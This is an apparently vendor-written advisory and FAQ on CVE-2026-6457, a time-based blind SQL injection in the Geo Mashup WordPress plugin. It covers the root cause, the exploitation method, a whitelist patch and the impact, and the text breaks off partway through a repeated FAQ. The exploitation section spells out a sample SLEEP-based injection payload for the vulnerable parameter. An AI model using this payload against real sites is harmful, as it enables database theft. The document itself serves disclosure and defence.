What is CVE-2026-6457?

CVE-2026-6457 is a medium severity vulnerability in the Geo Mashup plugin for WordPress, affecting versions up to 1.13.19. It allows authenticated users with subscriber-level access or higher to perform time-based blind SQL injection via the ‘geo_mashup_null_fields’ parameter.

How does the SQL injection work?

The vulnerability arises from insufficient escaping and validation of user-supplied input in SQL queries. An attacker can manipulate the ‘geo_mashup_null_fields’ parameter to inject arbitrary SQL commands, potentially extracting sensitive data from the database.

Who is affected by this vulnerability?

Any WordPress site using the Geo Mashup plugin version 1.13.19 or earlier is affected. Specifically, authenticated users with subscriber-level access or higher can exploit this vulnerability.

How can I check if my site is vulnerable?

To determine if your site is vulnerable, check the version of the Geo Mashup plugin installed on your WordPress site. If it is version 1.13.19 or earlier, your site is susceptible to this vulnerability.

How can I fix CVE-2026-6457?

To mitigate this vulnerability, update the Geo Mashup plugin to version 1.13.20 or later, where the issue has been patched. Regularly check for updates to ensure you are using the latest version.

What does the CVSS score of 6.5 indicate?

The CVSS score of 6.5 indicates a medium severity vulnerability that requires authenticated access to exploit. While it poses a significant risk to data confidentiality, the requirement for authentication limits the attack surface.

What is the root cause of the vulnerability?

The root cause lies in the code that processes the ‘geo_mashup_null_fields’ parameter without proper validation or escaping. This allows attackers to inject arbitrary SQL commands into the database query.

What are the potential impacts of exploitation?

Successful exploitation can lead to unauthorized access to sensitive information stored in the WordPress database, including user credentials and session tokens. This can result in data breaches and further privilege escalation.

How does the proof of concept demonstrate the vulnerability?

The proof of concept provides a step-by-step method for an authenticated attacker to exploit the vulnerability. It shows how to authenticate and then send a crafted payload through the ‘geo_mashup_null_fields’ parameter to execute arbitrary SQL commands.

What measures can be taken to mitigate risks?

In addition to updating the plugin, consider implementing web application firewalls, regularly auditing plugins for vulnerabilities, and limiting user permissions to reduce the risk of exploitation.

What is the significance of the patch introduced?

The patch introduced in version 1.13.20 implements a whitelist approach for the ‘geo_mashup_null_fields’ parameter, ensuring only predefined column names can be used, thus preventing arbitrary SQL injection.

Where can I find more information about this vulnerability?

More information about CVE-2026-6457 can be found on the National Vulnerability Database (NVD) and the official WordPress plugin repository, where security advisories are published.

Analysis Overview

Atomic Edge analysis of CVE-2026-6457:

This vulnerability allows authenticated attackers with subscriber-level access or higher to perform time-based blind SQL injection in the Geo Mashup plugin for WordPress up to version 1.13.19. The injection occurs via the ‘geo_mashup_null_fields’ parameter in the database interaction code. The CVSS score of 6.5 reflects the authenticated requirement but significant impact on data confidentiality.

Root Cause:
The vulnerable code resides in geo-mashup-db.php at the UPDATE query block (lines 1985-1994). The function accepts user-supplied field names via the ‘geo_mashup_null_fields’ parameter (passed as $null_fields). If the parameter is a string, it gets exploded into an array. Then array_map() appends “=NULL” to each field name without any validation or escaping. The resulting array is directly imploded into the SQL query string before prepare() only handles the location ID placeholder. This means arbitrary column names with appended SQL become part of the query. If an attacker sends a value like “address=SLQ_PAYLOAD”, the resulting query becomes “UPDATE … SET address=SQL_PAYLOAD=NULL WHERE id=…” which is syntactically valid for injection.

Exploitation:
An authenticated attacker submits a POST request to a Geo Mashup endpoint that accepts the ‘geo_mashup_null_fields’ parameter. The attacker sends a crafted value: a valid column name (e.g., ‘address’) followed by an SQL time-based payload using comment characters to isolate the injection. For example: ‘address,SLEEP(5)– -‘ After array_map, this becomes ‘address=SLEEP(5)– -=NULL’ which, when imploded, produces ‘UPDATE x SET address=SLEEP(5)– -=NULL WHERE id=1’. The double-hyphen comment removes everything after it, making the query valid. The attacker can then use time-based techniques to extract data from the WordPress database.

Patch Analysis:
The patch introduces a whitelist approach. It defines $allowed_null_fields as an array of eight specific column names: ‘address’, ‘saved_name’, ‘geoname’, ‘postal_code’, ‘country_code’, ‘admin_code’, ‘sub_admin_code’, ‘locality_name’. It then uses array_intersect() to filter $null_fields, keeping only values that exist in the whitelist. If the resulting array is empty, the query never executes. This prevents any arbitrary field names from reaching the SQL statement. Before the patch, any user-supplied field name was processed. After the patch, only the whitelisted names pass through.

Impact:
Successful exploitation allows an attacker to execute arbitrary SQL queries against the WordPress database. This can result in extraction of sensitive information including user credentials, password hashes, session tokens, and any data stored in custom post meta or options. The time-based blind technique enables data exfiltration even when direct output is not visible. Given subscriber-level access requirements, the attack surface includes any authenticated user, making it a significant vector for privilege escalation through credential theft.

Frequently Asked Questions

What is CVE-2026-6457?
Overview of the vulnerability
CVE-2026-6457 is a medium severity vulnerability in the Geo Mashup plugin for WordPress, affecting versions up to 1.13.19. It allows authenticated users with subscriber-level access or higher to perform time-based blind SQL injection via the ‘geo_mashup_null_fields’ parameter.
How does the SQL injection work?
Mechanism of exploitation
The vulnerability arises from insufficient escaping and validation of user-supplied input in SQL queries. An attacker can manipulate the ‘geo_mashup_null_fields’ parameter to inject arbitrary SQL commands, potentially extracting sensitive data from the database.
Who is affected by this vulnerability?
Identifying vulnerable users
Any WordPress site using the Geo Mashup plugin version 1.13.19 or earlier is affected. Specifically, authenticated users with subscriber-level access or higher can exploit this vulnerability.
How can I check if my site is vulnerable?
Verifying plugin version
To determine if your site is vulnerable, check the version of the Geo Mashup plugin installed on your WordPress site. If it is version 1.13.19 or earlier, your site is susceptible to this vulnerability.
How can I fix CVE-2026-6457?
Applying the patch
To mitigate this vulnerability, update the Geo Mashup plugin to version 1.13.20 or later, where the issue has been patched. Regularly check for updates to ensure you are using the latest version.
What does the CVSS score of 6.5 indicate?
Understanding risk levels
The CVSS score of 6.5 indicates a medium severity vulnerability that requires authenticated access to exploit. While it poses a significant risk to data confidentiality, the requirement for authentication limits the attack surface.
What is the root cause of the vulnerability?
Technical details
The root cause lies in the code that processes the ‘geo_mashup_null_fields’ parameter without proper validation or escaping. This allows attackers to inject arbitrary SQL commands into the database query.
What are the potential impacts of exploitation?
Consequences of a successful attack
Successful exploitation can lead to unauthorized access to sensitive information stored in the WordPress database, including user credentials and session tokens. This can result in data breaches and further privilege escalation.
How does the proof of concept demonstrate the vulnerability?
